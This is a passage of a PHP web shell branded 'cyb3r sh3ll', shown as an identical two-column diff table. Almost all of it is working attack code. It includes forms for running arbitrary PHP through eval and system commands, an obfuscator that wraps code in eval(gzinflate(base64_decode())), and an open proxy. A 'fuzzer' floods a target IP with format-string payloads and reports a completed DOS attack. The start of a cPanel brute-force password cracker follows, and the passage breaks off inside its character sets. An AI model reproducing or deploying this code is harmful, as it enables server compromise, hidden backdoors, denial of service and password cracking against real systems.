| 5799 | echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; | 5799 | echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; |
| 5800 | 5800 | ||
| 5801 | } | 5801 | } |
| 5802 | 5802 | ||
| 5803 | } | 5803 | } |
| 5804 | 5804 | ||
| 5805 | if ($act == "phpcode") | 5805 | if ($act == "phpcode") |
| 5806 | { | 5806 | { |
| 5807 | echo " | 5807 | echo " |
| 5808 | <br><center> | 5808 | <br><center> |
| 5809 | <a href=\"".$surl."act=eval\" >PHP Code Evaluate</a><font color='silver'> -|- </font> | 5809 | <a href=\"".$surl."act=eval\" >PHP Code Evaluate</a><font color='silver'> -|- </font> |
| 5810 | <a href=\"".$surl."act=masscode\" >Mass Code Injector</a><font color='silver'> -|- </font> | 5810 | <a href=\"".$surl."act=masscode\" >Mass Code Injector</a><font color='silver'> -|- </font> |
| 5811 | <a href=\"".$surl."act=obfuscate\" >PHP Obfuscator</a><font color='silver'> -|- </font> | 5811 | <a href=\"".$surl."act=obfuscate\" >PHP Obfuscator</a><font color='silver'> -|- </font> |
| 5812 | <a href=\"".$surl."act=fuzzer\" >Web Server Fuzzer</a> | 5812 | <a href=\"".$surl."act=fuzzer\" >Web Server Fuzzer</a> |
| 5813 | </center><br>"; | 5813 | </center><br>"; |
| 5814 | } | 5814 | } |
| 5815 | 5815 | ||
| 5816 | if ($act == "eval") | 5816 | if ($act == "eval") |
| 5817 | 5817 | ||
| 5818 | { | 5818 | { |
| 5819 | 5819 | ||
| 5820 | if (!empty($eval)) | 5820 | if (!empty($eval)) |
| 5821 | 5821 | ||
| 5822 | { | 5822 | { |
| 5823 | 5823 | ||
| 5824 | echo "<b>Result of execution this PHP-code</b>:<br>"; | 5824 | echo "<b>Result of execution this PHP-code</b>:<br>"; |
| 5825 | 5825 | ||
| 5826 | $tmp = ob_get_contents(); | 5826 | $tmp = ob_get_contents(); |
| 5827 | 5827 | ||
| 5828 | $olddir = realpath("."); | 5828 | $olddir = realpath("."); |
| 5829 | 5829 | ||
| 5830 | @chdir($d); | 5830 | @chdir($d); |
| 5831 | 5831 | ||
| 5832 | if ($tmp) | 5832 | if ($tmp) |
| 5833 | 5833 | ||
| 5834 | { | 5834 | { |
| 5835 | 5835 | ||
| 5836 | ob_clean(); | 5836 | ob_clean(); |
| 5837 | 5837 | ||
| 5838 | eval($eval); | 5838 | eval($eval); |
| 5839 | 5839 | ||
| 5840 | $ret = ob_get_contents(); | 5840 | $ret = ob_get_contents(); |
| 5841 | 5841 | ||
| 5842 | $ret = convert_cyr_string($ret,"d","w"); | 5842 | $ret = convert_cyr_string($ret,"d","w"); |
| 5843 | 5843 | ||
| 5844 | ob_clean(); | 5844 | ob_clean(); |
| 5845 | 5845 | ||
| 5846 | echo $tmp; | 5846 | echo $tmp; |
| 5847 | 5847 | ||
| 5848 | if ($eval_txt) | 5848 | if ($eval_txt) |
| 5849 | 5849 | ||
| 5850 | { | 5850 | { |
| 5851 | 5851 | ||
| 5852 | $rows = count(explode("\r\n",$ret))+1; | 5852 | $rows = count(explode("\r\n",$ret))+1; |
| 5853 | 5853 | ||
| 5854 | if ($rows < 10) {$rows = 10;} | 5854 | if ($rows < 10) {$rows = 10;} |
| 5855 | 5855 | ||
| 5856 | echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; | 5856 | echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; |
| 5857 | 5857 | ||
| 5858 | } | 5858 | } |
| 5859 | 5859 | ||
| 5860 | else {echo $ret."<br>";} | 5860 | else {echo $ret."<br>";} |
| 5861 | 5861 | ||
| 5862 | } | 5862 | } |
| 5863 | 5863 | ||
| 5864 | else | 5864 | else |
| 5865 | 5865 | ||
| 5866 | { | 5866 | { |
| 5867 | 5867 | ||
| 5868 | if ($eval_txt) | 5868 | if ($eval_txt) |
| 5869 | 5869 | ||
| 5870 | { | 5870 | { |
| 5871 | 5871 | ||
| 5872 | echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; | 5872 | echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; |
| 5873 | 5873 | ||
| 5874 | eval($eval); | 5874 | eval($eval); |
| 5875 | 5875 | ||
| 5876 | echo "</textarea>"; | 5876 | echo "</textarea>"; |
| 5877 | 5877 | ||
| 5878 | } | 5878 | } |
| 5879 | 5879 | ||
| 5880 | else {echo $ret;} | 5880 | else {echo $ret;} |
| 5881 | 5881 | ||
| 5882 | } | 5882 | } |
| 5883 | 5883 | ||
| 5884 | @chdir($olddir); | 5884 | @chdir($olddir); |
| 5885 | 5885 | ||
| 5886 | } | 5886 | } |
| 5887 | 5887 | ||
| 5888 | else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} | 5888 | else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} |
| 5889 | 5889 | ||
| 5890 | echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; | 5890 | echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; |
| 5891 | 5891 | ||
| 5892 | } | 5892 | } |
| 5893 | 5893 | ||
| 5894 | if ($act == "proxy") | 5894 | if ($act == "proxy") |
| 5895 | { | 5895 | { |
| 5896 | global $errorbox,$et,$footer,$hcwd; | 5896 | global $errorbox,$et,$footer,$hcwd; |
| 5897 | echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" width=\"100%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Navigator: </b><input type=text name=urL size=140 value=\""; if(!!empty($_REQUEST['urL'])) echo "http://www.edpsciences.org/htbin/ipaddress"; else echo htmlspecialchars($_REQUEST['urL']);echo "\">$hcwd<input type=submit class=buttons value=Go></td></tr></form></table>"; | 5897 | echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" width=\"100%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Navigator: </b><input type=text name=urL size=140 value=\""; if(!!empty($_REQUEST['urL'])) echo "http://www.edpsciences.org/htbin/ipaddress"; else echo htmlspecialchars($_REQUEST['urL']);echo "\">$hcwd<input type=submit class=buttons value=Go></td></tr></form></table>"; |
| 5898 | if (!empty($_REQUEST['urL'])){ | 5898 | if (!empty($_REQUEST['urL'])){ |
| 5899 | $dir=""; | 5899 | $dir=""; |
| 5900 | $u=parse_url($_REQUEST['urL']); | 5900 | $u=parse_url($_REQUEST['urL']); |
| 5901 | $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; | 5901 | $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; |
| 5902 | if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/'))); | 5902 | if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/'))); |
| 5903 | $url=@fsockopen($host, 80, $errno, $errstr, 12); | 5903 | $url=@fsockopen($host, 80, $errno, $errstr, 12); |
| 5904 | if(!$url)die("<br>$errorbox Can not connect to host!$et$footer"); | 5904 | if(!$url)die("<br>$errorbox Can not connect to host!$et$footer"); |
| 5905 | fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); | 5905 | fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); |
| 5906 | while(!feof($url)){ | 5906 | while(!feof($url)){ |
| 5907 | $con = fgets($url); | 5907 | $con = fgets($url); |
| 5908 | $con = str_replace("href=mailto","HrEf=mailto",$con); | 5908 | $con = str_replace("href=mailto","HrEf=mailto",$con); |
| 5909 | $con = str_replace("HREF=mailto","HrEf=mailto",$con); | 5909 | $con = str_replace("HREF=mailto","HrEf=mailto",$con); |
| 5910 | $con = str_replace("href=\"mailto","HrEf=\"mailto",$con); | 5910 | $con = str_replace("href=\"mailto","HrEf=\"mailto",$con); |
| 5911 | $con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con); | 5911 | $con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con); |
| 5912 | $con = str_replace("href=\'mailto","HrEf=\"mailto",$con); | 5912 | $con = str_replace("href=\'mailto","HrEf=\"mailto",$con); |
| 5913 | $con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con); | 5913 | $con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con); |
| 5914 | $con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); | 5914 | $con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); |
| 5915 | $con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); | 5915 | $con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); |
| 5916 | $con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); | 5916 | $con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); |
| 5917 | $con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); | 5917 | $con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); |
| 5918 | $con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con); | 5918 | $con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con); |
| 5919 | $con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con); | 5919 | $con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con); |
| 5920 | $con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); | 5920 | $con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); |
| 5921 | $con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); | 5921 | $con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); |
| 5922 | $con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); | 5922 | $con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); |
| 5923 | $con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); | 5923 | $con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); |
| 5924 | $con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); | 5924 | $con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); |
| 5925 | $con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); | 5925 | $con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); |
| 5926 | echo $con; | 5926 | echo $con; |
| 5927 | } | 5927 | } |
| 5928 | fclose($url); | 5928 | fclose($url); |
| 5929 | } | 5929 | } |
| 5930 | } | 5930 | } |
| 5931 | 5931 | ||
| 5932 | 5932 | ||
| 5933 | if ($act == "obfuscate") | 5933 | if ($act == "obfuscate") |
| 5934 | { | 5934 | { |
| 5935 | if ( isset($_POST['code']) && | 5935 | if ( isset($_POST['code']) && |
| 5936 | $_POST['code'] != '') | 5936 | $_POST['code'] != '') |
| 5937 | { | 5937 | { |
| 5938 | $encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),'<?php,?>'),9)); // high Compression! :P | 5938 | $encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),'<?php,?>'),9)); // high Compression! :P |
| 5939 | $encode = ' | 5939 | $encode = ' |
| 5940 | <?php | 5940 | <?php |
| 5941 | $encoded = \''.$encoded.'\'; | 5941 | $encoded = \''.$encoded.'\'; |
| 5942 | eval(gzinflate(base64_decode($encoded))); | 5942 | eval(gzinflate(base64_decode($encoded))); |
| 5943 | // Encoded by cyb3r sh3ll. Thanx lionaneesh for this idea. | 5943 | // Encoded by cyb3r sh3ll. Thanx lionaneesh for this idea. |
| 5944 | ?> | 5944 | ?> |
| 5945 | '; | 5945 | '; |
| 5946 | } | 5946 | } |
| 5947 | else | 5947 | else |
| 5948 | { | 5948 | { |
| 5949 | $encode = 'Please Enter your Code! and Click Submit! :)'; | 5949 | $encode = 'Please Enter your Code! and Click Submit! :)'; |
| 5950 | }?> | 5950 | }?> |
| 5951 | <form method="POST"> | 5951 | <form method="POST"> |
| 5952 | <textarea cols="100" rows="20" name="code"><?php echo $encode;?></textarea><br /> | 5952 | <textarea cols="100" rows="20" name="code"><?php echo $encode;?></textarea><br /> |
| 5953 | <input style="margin: 20px; margin-left: 50px; padding: 10px;" class="own" type="submit" value="Encode :D"/> | 5953 | <input style="margin: 20px; margin-left: 50px; padding: 10px;" class="own" type="submit" value="Encode :D"/> |
| 5954 | </form> | 5954 | </form> |
| 5955 | <?php | 5955 | <?php |
| 5956 | } | 5956 | } |
| 5957 | 5957 | ||
| 5958 | if ($act == "fuzzer") | 5958 | if ($act == "fuzzer") |
| 5959 | { | 5959 | { |
| 5960 | if(isset($_POST['ip']) && | 5960 | if(isset($_POST['ip']) && |
| 5961 | isset($_POST['port']) && | 5961 | isset($_POST['port']) && |
| 5962 | isset($_POST['times']) && | 5962 | isset($_POST['times']) && |
| 5963 | isset($_POST['time']) && | 5963 | isset($_POST['time']) && |
| 5964 | isset($_POST['message']) && | 5964 | isset($_POST['message']) && |
| 5965 | isset($_POST['messageMultiplier']) && | 5965 | isset($_POST['messageMultiplier']) && |
| 5966 | $_POST['message'] != "" && | 5966 | $_POST['message'] != "" && |
| 5967 | $_POST['time'] != "" && | 5967 | $_POST['time'] != "" && |
| 5968 | $_POST['times'] != "" && | 5968 | $_POST['times'] != "" && |
| 5969 | $_POST['port'] != "" && | 5969 | $_POST['port'] != "" && |
| 5970 | $_POST['ip'] != "" && | 5970 | $_POST['ip'] != "" && |
| 5971 | $_POST['messageMultiplier'] != "" | 5971 | $_POST['messageMultiplier'] != "" |
| 5972 | ) | 5972 | ) |
| 5973 | { | 5973 | { |
| 5974 | $IP=$_POST['ip']; | 5974 | $IP=$_POST['ip']; |
| 5975 | $port=$_POST['port']; | 5975 | $port=$_POST['port']; |
| 5976 | $times = $_POST['times']; | 5976 | $times = $_POST['times']; |
| 5977 | $timeout = $_POST['time']; | 5977 | $timeout = $_POST['time']; |
| 5978 | $send = 0; | 5978 | $send = 0; |
| 5979 | $ending = ""; | 5979 | $ending = ""; |
| 5980 | $multiplier = $_POST['messageMultiplier']; | 5980 | $multiplier = $_POST['messageMultiplier']; |
| 5981 | $data = ""; | 5981 | $data = ""; |
| 5982 | $mode="tcp"; | 5982 | $mode="tcp"; |
| 5983 | $data .= "POST /"; | 5983 | $data .= "POST /"; |
| 5984 | $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r"; | 5984 | $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r"; |
| 5985 | if($_POST['type'] == "tcp") | 5985 | if($_POST['type'] == "tcp") |
| 5986 | { | 5986 | { |
| 5987 | $mode = "tcp"; | 5987 | $mode = "tcp"; |
| 5988 | } | 5988 | } |
| 5989 | while($multiplier--) | 5989 | while($multiplier--) |
| 5990 | { | 5990 | { |
| 5991 | $data .= urlencode($_POST['message']); | 5991 | $data .= urlencode($_POST['message']); |
| 5992 | } | 5992 | } |
| 5993 | $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers | 5993 | $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers |
| 5994 | $data .= "by-cyb3r-sh3ll".$ending; | 5994 | $data .= "by-cyb3r-sh3ll".$ending; |
| 5995 | $length = strlen($data); | 5995 | $length = strlen($data); |
| 5996 | 5996 | ||
| 5997 | 5997 | ||
| 5998 | echo "Sending Data :- <br /> <p align='center'>$data</p>"; | 5998 | echo "Sending Data :- <br /> <p align='center'>$data</p>"; |
| 5999 | 5999 | ||
| 6000 | print "cyb3r sh3ll is at its Work now :D ;D! Dont close this window untill you recieve a message <br>"; | 6000 | print "cyb3r sh3ll is at its Work now :D ;D! Dont close this window untill you recieve a message <br>"; |
| 6001 | for($i=0;$i<$times;$i++) | 6001 | for($i=0;$i<$times;$i++) |
| 6002 | { | 6002 | { |
| 6003 | $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout); | 6003 | $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout); |
| 6004 | if($socket) | 6004 | if($socket) |
| 6005 | { | 6005 | { |
| 6006 | fwrite($socket , $data , $length ); | 6006 | fwrite($socket , $data , $length ); |
| 6007 | fclose($socket); | 6007 | fclose($socket); |
| 6008 | } | 6008 | } |
| 6009 | } | 6009 | } |
| 6010 | echo "<script>alert('Fuzzing Completed!');</script>"; | 6010 | echo "<script>alert('Fuzzing Completed!');</script>"; |
| 6011 | echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />"; | 6011 | echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />"; |
| 6012 | echo "Total Number of Packets Sent : " . $times . "<br />"; | 6012 | echo "Total Number of Packets Sent : " . $times . "<br />"; |
| 6013 | echo "Total Data Sent = ". showsizE($times*$length) . "<br />"; | 6013 | echo "Total Data Sent = ". showsizE($times*$length) . "<br />"; |
| 6014 | echo "Data per packet = " . showsizE($length) . "<br />"; | 6014 | echo "Data per packet = " . showsizE($length) . "<br />"; |
| 6015 | } | 6015 | } |
| 6016 | else | 6016 | else |
| 6017 | { | 6017 | { |
| 6018 | ?> | 6018 | ?> |
| 6019 | <form method="POST"> | 6019 | <form method="POST"> |
| 6020 | <input type="hidden" name="fuzz" /> | 6020 | <input type="hidden" name="fuzz" /> |
| 6021 | <table id="margins"> | 6021 | <table id="margins"> |
| 6022 | <tr> | 6022 | <tr> |
| 6023 | <td width="400" class="title"> | 6023 | <td width="400" class="title"> |
| 6024 | IP | 6024 | IP |
| 6025 | </td> | 6025 | </td> |
| 6026 | <td> | 6026 | <td> |
| 6027 | <input class="cmd" name="ip" value="127.0.0.1" onfocus="if(this.value == '127.0.0.1')this.value = '';" onblur="if(this.value=='')this.value='127.0.0.1';"/> | 6027 | <input class="cmd" name="ip" value="127.0.0.1" onfocus="if(this.value == '127.0.0.1')this.value = '';" onblur="if(this.value=='')this.value='127.0.0.1';"/> |
| 6028 | </td> | 6028 | </td> |
| 6029 | </tr> | 6029 | </tr> |
| 6030 | 6030 | ||
| 6031 | <tr> | 6031 | <tr> |
| 6032 | <td class="title"> | 6032 | <td class="title"> |
| 6033 | Port | 6033 | Port |
| 6034 | </td> | 6034 | </td> |
| 6035 | <td> | 6035 | <td> |
| 6036 | <input class="cmd" name="port" value="80" onfocus="if(this.value == '80')this.value = '';" onblur="if(this.value=='')this.value='80';"/> | 6036 | <input class="cmd" name="port" value="80" onfocus="if(this.value == '80')this.value = '';" onblur="if(this.value=='')this.value='80';"/> |
| 6037 | </td> | 6037 | </td> |
| 6038 | </tr> | 6038 | </tr> |
| 6039 | 6039 | ||
| 6040 | <tr> | 6040 | <tr> |
| 6041 | <td class="title"> | 6041 | <td class="title"> |
| 6042 | Timeout | 6042 | Timeout |
| 6043 | </td> | 6043 | </td> |
| 6044 | <td> | 6044 | <td> |
| 6045 | <input type="text" name="time" value="5" onfocus="if(this.value == '5')this.value = '';" onblur="if(this.value=='')this.value='5';"/> | 6045 | <input type="text" name="time" value="5" onfocus="if(this.value == '5')this.value = '';" onblur="if(this.value=='')this.value='5';"/> |
| 6046 | </td> | 6046 | </td> |
| 6047 | </tr> | 6047 | </tr> |
| 6048 | 6048 | ||
| 6049 | 6049 | ||
| 6050 | <tr> | 6050 | <tr> |
| 6051 | <td class="title"> | 6051 | <td class="title"> |
| 6052 | No of times | 6052 | No of times |
| 6053 | </td> | 6053 | </td> |
| 6054 | <td> | 6054 | <td> |
| 6055 | <input type="text" class="cmd" name="times" value="100" onfocus="if(this.value == '100')this.value = '';" onblur="if(this.value=='')this.value='100';" /> | 6055 | <input type="text" class="cmd" name="times" value="100" onfocus="if(this.value == '100')this.value = '';" onblur="if(this.value=='')this.value='100';" /> |
| 6056 | </td> | 6056 | </td> |
| 6057 | </tr> | 6057 | </tr> |
| 6058 | 6058 | ||
| 6059 | <tr> | 6059 | <tr> |
| 6060 | <td class="title"> | 6060 | <td class="title"> |
| 6061 | Message <font color="red">(The message Should be long and it will be multiplied with the value after it)</font> | 6061 | Message <font color="red">(The message Should be long and it will be multiplied with the value after it)</font> |
| 6062 | </td> | 6062 | </td> |
| 6063 | <td> | 6063 | <td> |
| 6064 | <input class="cmd" name="message" value="%S%x--Some Garbage here --%x%S" onfocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onblur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/> | 6064 | <input class="cmd" name="message" value="%S%x--Some Garbage here --%x%S" onfocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onblur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/> |
| 6065 | </td> | 6065 | </td> |
| 6066 | <td> | 6066 | <td> |
| 6067 | x | 6067 | x |
| 6068 | </td> | 6068 | </td> |
| 6069 | <td width="20"> | 6069 | <td width="20"> |
| 6070 | <input style="width: 30px;" name="messageMultiplier" value="10" /> | 6070 | <input style="width: 30px;" name="messageMultiplier" value="10" /> |
| 6071 | </td> | 6071 | </td> |
| 6072 | </tr> | 6072 | </tr> |
| 6073 | 6073 | ||
| 6074 | <tr> | 6074 | <tr> |
| 6075 | <td rowspan="2"> | 6075 | <td rowspan="2"> |
| 6076 | <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="own" value="Let it be! :D"/> | 6076 | <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="own" value="Let it be! :D"/> |
| 6077 | </td> | 6077 | </td> |
| 6078 | </tr> | 6078 | </tr> |
| 6079 | </table> | 6079 | </table> |
| 6080 | </form> | 6080 | </form> |
| 6081 | <?php | 6081 | <?php |
| 6082 | } | 6082 | } |
| 6083 | } | 6083 | } |
| 6084 | 6084 | ||
| 6085 | if ($act == "cpanel") | 6085 | if ($act == "cpanel") |
| 6086 | { | 6086 | { |
| 6087 | $cpanel_port="2082"; | 6087 | $cpanel_port="2082"; |
| 6088 | $connect_timeout=5; | 6088 | $connect_timeout=5; |
| 6089 | set_time_limit(0); | 6089 | set_time_limit(0); |
| 6090 | $submit=$_REQUEST['submit']; | 6090 | $submit=$_REQUEST['submit']; |
| 6091 | $users=$_REQUEST['users']; | 6091 | $users=$_REQUEST['users']; |
| 6092 | $pass=$_REQUEST['passwords']; | 6092 | $pass=$_REQUEST['passwords']; |
| 6093 | $target=$_REQUEST['target']; | 6093 | $target=$_REQUEST['target']; |
| 6094 | $cracktype=$_REQUEST['cracktype']; | 6094 | $cracktype=$_REQUEST['cracktype']; |
| 6095 | if($target == ""){ | 6095 | if($target == ""){ |
| 6096 | $target = "localhost"; | 6096 | $target = "localhost"; |
| 6097 | } | 6097 | } |
| 6098 | $charset=$_REQUEST['charset']; | 6098 | $charset=$_REQUEST['charset']; |
| 6099 | if($charset=="") | 6099 | if($charset=="") |
| 6100 | $charset="lowercase"; | 6100 | $charset="lowercase"; |
| 6101 | $max_length=$_REQUEST['max_length']; | 6101 | $max_length=$_REQUEST['max_length']; |
| 6102 | if($max_length=="") | 6102 | if($max_length=="") |
| 6103 | $max_length=10; | 6103 | $max_length=10; |
| 6104 | $min_length=$_REQUEST['min_length']; | 6104 | $min_length=$_REQUEST['min_length']; |
| 6105 | if($min_length=="") | 6105 | if($min_length=="") |
| 6106 | $min_length=1; | 6106 | $min_length=1; |
| 6107 | 6107 | ||
| 6108 | $charsetall = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"); | 6108 | $charsetall = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"); |
| 6109 | $charsetlower = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"); | 6109 | $charsetlower = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"); |
| 6110 | $charsetupper = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"); | 6110 | $charsetupper = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"); |
| 6111 | $charsetnumeric = array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9"); | 6111 | $charsetnumeric = array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9"); |
| 6112 | $charsetlowernumeric = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"); | 6112 | $charsetlowernumeric = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"); |
| 6113 | $charsetuppernumeric = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"); | 6113 | $charsetuppernumeric = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"); |
| 6114 | $charsetletters = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ); | 6114 | $charsetletters = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ); |
| 6115 | $charsetsymbols= array("!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); | 6115 | $charsetsymbols= array("!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); |
| 6116 | $charsetlowersymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); | 6116 | $charsetlowersymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); |
